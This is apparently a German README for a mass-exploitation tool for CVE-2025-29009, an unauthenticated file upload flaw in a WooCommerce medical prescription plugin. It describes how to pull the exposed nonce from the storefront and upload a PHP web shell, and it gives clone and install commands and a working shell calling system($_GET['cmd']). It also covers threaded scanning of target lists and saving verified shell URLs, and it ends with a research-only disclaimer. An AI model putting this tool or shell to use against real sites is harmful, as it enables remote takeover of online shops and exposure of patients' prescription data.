
WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 ist anfällig für einen hochprioritären beliebigen Datei-Upload.
Das WordPress Medical Prescription Attachment Plugin für WooCommerce Plugin <= 1.2.3 ist anfällig für einen hochprioritär beliebigen Datei-Upload
,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-.
/ | / | ) / /\ ) | ) ( ) / /\ / /\ ( )
| | / |- --- / | / | / `-. --- / `-'| | / | | / | `-'|
\ |/ | / \/ / / ) / / \/ / \/ / /
`-' ' `--' '--' `-' '--' `-' '--' `-' `-' `-' `-'
| Feld | Detail |
|---|---|
| CVE | CVE-2025-29009 |
| Plugin | Webkul Medical Prescription Attachment Plugin for WooCommerce |
| Betroffen | Alle Versionen ≤ 1.2.3 |
| Authentifizierung | Keine erforderlich |
| Typ | Unrestricted Upload of File with Dangerous Type → Web Shell Upload |
| CWE | CWE-434 · Unrestricted Upload of File with Dangerous Type |
Ursache:
Der AJAX-Handler wkwcpa_handle_prescription_session (action=wkwcpa_handle_prescription_session) akzeptiert Datei-Uploads über wkwc_pa_prescription_attachment[], ohne die Dateierweiterung oder den MIME-Typ serverseitig zu validieren. Ein nicht authentifizierter Angreifer kann das ajaxNonce aus der öffentlichen WooCommerce-Storefront extrahieren (eingebettet im JavaScript-Objekt wkwcpaFrontObj) und dann eine PHP-Web-Shell direkt in das Upload-Verzeichnis des Servers hochladen. Die Antwort gibt die vollständige erreichbare URL der hochgeladenen Datei zurück.
┌──────────────────────────────────────────────────────────────┐
│ 1. Startseite auflösen │
│ GET / → GET /shop/ → GET /product/ → GET /?wkwcpa=1│
│ │
│ 2. Nonce extrahieren │
│ Parse wkwcpaFrontObj.ajax.ajaxUrl │
│ Parse wkwcpaFrontObj.ajax.ajaxNonce │
│ │
│ 3. Shell hochladen │
│ POST <ajaxUrl> │
│ action = wkwcpa_handle_prescription_session │
│ nonce = <ajaxNonce> │
│ type = upload │
│ wkwc_pa_prescription_attachment[] = shell.php │
│ │
│ 4. Antwort parsen │
│ JSON → data.attachments_img_html[].src → Shell-URL │
│ │
│ 5. Shell verifizieren │
│ GET <shell_url> → Prüfung auf eindeutige Signatur │
│ │
│ 6. In shells.txt speichern │
└──────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
Erstelle deine PHP-Shell und bette eine eindeutige Signaturzeichenfolge ein, damit das Tool die erfolgreiche Ausführung überprüfen kann:
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>
Speichere es als shell.php im selben Verzeichnis wie das Skript.
Die Zeichenfolge NxploitedShellOK ist die Signatur — sie muss in der Antwort der Shell erscheinen, damit die Verifizierung bestanden wird.
python3 CVE-2025-29009.py
Zieldatei (Standard list.txt): list.txt
Threads (Standard 10): 10
Lokaler Shell-Dateiname (z.B. shell.php): shell.php
Eindeutige Shell-Signatur (z.B. NxploitedShellOK): NxploitedShellOK
list.txthttps://target1.com
target2.com
http://target3.com
Ziele ohne
http://oderhttps://werden automatisch mithttp://versehen.
| Datei | Inhalt |
|---|---|
shells.txt | Eine verifizierte Shell-URL pro Zeile |
Terminal:
[SHELL] https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL] https://target2.com (nonce_not_found)
[FAIL] https://target3.com (success_false)
[Status] 3/3 OK:1 FAIL:2
| Code | Bedeutung |
|---|---|
shell_file_missing | shell.php nicht im Arbeitsverzeichnis gefunden |
no_front_page | Keine Kandidatenseite hat HTTP 200 zurückgegeben |
nonce_not_found | wkwcpaFrontObj auf keiner Seite vorhanden |
upload_error | Netzwerkfehler während des POST |
json_parse_error | Antwort ist kein gültiges JSON |
success_false | Server hat data.success = false zurückgegeben |
no_attachments | Upload erfolgreich, aber keine URL in der Antwort |
shell_url_not_found | Datei-URL konnte nicht aus dem Antwort-HTML geparst werden |
Nxploited
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
NUR FÜR AUTORISIERTE SICHERHEITSFORSCHUNG UND BILDUNGSZWECKE.
Der Autor übernimmt keine Verantwortung für die Nutzung gegen Systeme,
die der Betreiber nicht besitzt oder für die er keine ausdrückliche schriftliche
Erlaubnis zum Testen hat.
Unbefugte Nutzung verstößt gegen das CFAA, CMA und gleichwertige Gesetze weltweit.
Du allein bist für deine Handlungen verantwortlich.
© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · Behoben in 1.2.4